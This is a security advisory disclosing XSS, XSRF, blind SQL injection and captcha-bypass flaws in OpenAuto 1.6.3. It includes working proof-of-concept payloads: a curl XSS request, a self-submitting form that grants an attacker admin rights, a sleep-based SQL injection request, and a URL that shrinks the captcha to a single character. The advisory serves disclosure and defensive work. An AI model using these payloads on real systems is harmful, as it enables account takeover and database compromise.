openauto 1.6.3 – Multiple Vulnerabilities
Credit:Michael Brooks Affects:OpenAuto 1.6.3 Vulnerabilites: XSRF/XSS/Blind SQLi/Captcha Bypass http://openautoclassifieds.com/ ---------------------------------------------------------------------------------------------------- Reflective XSS by adding a onclick event handler. http://localhost/openauto_full_v1.6.3/contact.php Affected post variables: seller_contact_id listing company phone from_name XSS PoC: curl -d "from_name=Dave&phone=1-123-1234&company=Software Testing&submit=Submit&from_email=test@sometest38752.com&captcha=on&listing=\" onclick=alert(1) j=\" &seller_contact_id=1&news=1&subject=on&" http://localhost/openauto_full_v1.6.3/contact.php > xss_test.html ---------------------------------------------------------------------------------------------------- PoC XSRF exploit make a user account of the attacker's choice into an admin account: <html> <form action="http://localhost/openauto_full_v1.6.3/admin/listuser.php" method="post"> <input id="company_name" name="company_name" type="text" size="30" maxlength="30" value="" /> <input id="first_name" name="first_name" type="text" size="30" maxlength="30" value="badmin" /> <input id="last_name" name="last_name" type="text" size="30" maxlength="30" value="badmin" /> <input id="phone" name="phone" type="text" size="30" maxlength="30" value="12312341234" /> <input id="alt_phone" name="alt_phone" type="text" size="30" maxlength="30" value="" /> <input id="fax" name="fax" type="text" size="30" maxlength="30" value="" /> <input id="email" name="email" type="text" size="35" maxlength="50" value="badmin@badmin.com" /> <input name="country" onchange="getZone(this.id)"size="1"> <input id="state" name="state" size="1"> <input id="city" name="city" type="text" size="30" maxlength="30" value="" /> <input id="address" name="address" type="text" size="30" maxlength="60" value="" /> <input id="zip" name="zip" type="text" size="6"/> <input name="user_level" value=9/><!--a value of 9 makes this an admin account--> <input id="user" name="user" type="hidden" value="badmin" /> <input id="id" name="id" type="hidden" value="5" /><!--Make sure this is the user ID of an account you control!--> <input name="submit" value="update" /> <input type=submit id=s> </form> <script> document.getElementById('s').click(); </script> </html> ---------------------------------------------------------------------------------------------------- Blind SQL Injection. You must a dealer and you must be editing a listing that you have posted. PoC: curl http://localhost/openauto_full_v1.6.3/editlisting.php -d "ad_title=test&make=Acura&model=test&vehicle_type=4X4&doors=&color=&mileage=0&year=0000&listing_condition=&engine=&trans=&drive_train=&mpg=0&fuel_type=&price=0.00&adddesc=&vin=&stock=&country=&state=&city=&address=&zip=&seller=someuser&id=sleep(10)&submit=Update+Listing" Resulting query: UPDATE listings SET approved = 1, ad_title = 'test', make = 'Acura', model = 'test', vehicle_type = '4X4', doors = '', color = '', mileage = '0', year = '0000', listing_condition = '', engine = '', trans = '', drive_train = '', mpg = '0', fuel_type = '', price = '0.00', adddesc = '', features = '', vin = '', stock = '', country = '', city = '', state = '', address = '', zip = '', sold = '0', sellerid = '4', seller = 'someuser' WHERE id = sleep(10) ---------------------------------------------------------------------------------------------------- PoC this request will result in a capthca of only a single charicter to be dispalyed. http://172.16.111.128/Audits/other/openauto_full_v1.6.3/Captcha.php?characters=3&len=1 After this request the $_SESSION["security_code"] will be overwritten and any captcha on the site will now be chaicter in size. This list is 53 chaciters long, thus a blind bot has the chance of 1/53 of guessing the correct answer. $possible = '23456789abcdefghjkmnpqrstvwxyzABCDEFGHJKLMNPQRSTVWXYZ'; Vulnerable code: ./openauto_full_v1.6.3/Captcha.php line 36: $len = isset($_GET['len']) && $_GET['characters'] > 2 ? $_GET['len'] : '6'; |